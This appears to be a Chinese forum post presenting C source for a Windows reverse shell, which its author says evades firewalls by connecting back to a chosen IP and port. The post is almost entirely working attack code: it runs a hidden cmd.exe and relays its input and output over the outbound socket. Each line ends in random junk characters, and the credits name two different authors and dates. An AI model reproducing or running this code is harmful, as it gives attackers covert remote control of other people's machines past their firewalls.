Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 wsI`fO^A8  
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/* ============================== 128EPK  
Rebound port in Windows NT uxvqMgR  
By wind,2006/7 +0nJ  
===============================*/ dMv=gdY  
#include `ZyI!"  
#include / F4z
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e> e}vZlX  
#pragma comment(lib,"wsock32.lib") !>..Q)z  
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void OutputShell(); oAODp!_c  
SOCKET sClient; _E@2ZnD2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hKL4cpK4  
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void main(int argc,char **argv) 1\ o59
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{ sBvzAVBL  
WSADATA stWsaData; xr4*{v  
int nRet; V5V bJBpf  
SOCKADDR_IN stSaiClient,stSaiServer; RO+GK`J  
{Aw#?#GPW  
if(argc != 3) ZxGJzakB5$  
{ Z'`<5A%;  
printf("Useage:\n\rRebound DestIP DestPort\n"); n'n/Tu   
return; snE8 K}4  
} [=6]+V83M  
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WSAStartup(MAKEWORD(2,2),&stWsaData); )~)J?l3{  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gp?a(-K5  
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stSaiClient.sin_family = AF_INET; \A 2r]  
stSaiClient.sin_port = htons(0); K[YI4pt7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kCWV r  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >JHryS.j$4  
{ j4gF;-m<  
printf("Bind Socket Failed!\n"); N.,X<G.H  
return; `i3NG1 v0  
} q9KHmhUD  
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stSaiServer.sin_family = AF_INET; ?uzRhC_)!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ElcjtYu4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s4X>.ToMC  
k:t]s_`<  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )B"jF>9)[  
{ 'N (:@]4N  
printf("Connect Error!"); (-UYB9s  
return; [+2[`K c]  
} KKja/p  
OutputShell(); MU@UfB|;u  
} }aa'\8  
_<n~n]%  
void OutputShell() _C%3h5  
{ -;s|  
char szBuff[1024]; >*~L28Fyn  
SECURITY_ATTRIBUTES stSecurityAttributes; :3v}kLO7|  
OSVERSIONINFO stOsversionInfo; ^S4d:-.3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (9''MlGd%  
STARTUPINFO stStartupInfo; Q|S.R1L^  
char *szShell; \FQRNj?'_  
PROCESS_INFORMATION stProcessInformation; PS)4 I&;U  
unsigned long lBytesRead; pnl{&<$C%C  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1F5XvQl  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OcR$zlgs[v  
stSecurityAttributes.lpSecurityDescriptor = 0; %<\vGqsM  
stSecurityAttributes.bInheritHandle = TRUE; mitHT :%r2  
8g@<d^8@  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1-8mFIK  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b6cBg  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N]>=p.#j  
stStartupInfo.wShowWindow = SW_HIDE; zGb|)A~,  
stStartupInfo.hStdInput = hReadPipe; F+YZE[h%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }^ApJS(FQ  
ity & v9  
GetVersionEx(&stOsversionInfo); 2%DSUv:H%  
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switch(stOsversionInfo.dwPlatformId) x,=&JtKVc  
{ ;5]Lf$tZ  
case 1: 5Yg'BkEr  
szShell = "command.com"; 9'fQHwsJ  
break; Bd!bg|uO*  
default: Z^bQ^zk-  
szShell = "cmd.exe"; &jS>UsGh  
break; LC,F <>w1  
} b o6d)Q  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ISYXH9V  
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send(sClient,szMsg,77,0); ]FJjgu<  
while(1) =6j&4p `  
{ R{C(K(5/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hE-h`'ha`  
if(lBytesRead) E-T)*`e  
{ u4t7Ie*Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kYzIp  
send(sClient,szBuff,lBytesRead,0); )X1{  
} !EvAB+`jLI  
else !y\'EW3|G  
{ XQY#716)  
lBytesRead=recv(sClient,szBuff,1024,0); 8r*E-akuyr  
if(lBytesRead<=0) break; cXA i k-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Eq%}  
} \{Y 7FC~  
} ;"a=gr  
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return; M1k{t%M+S  
}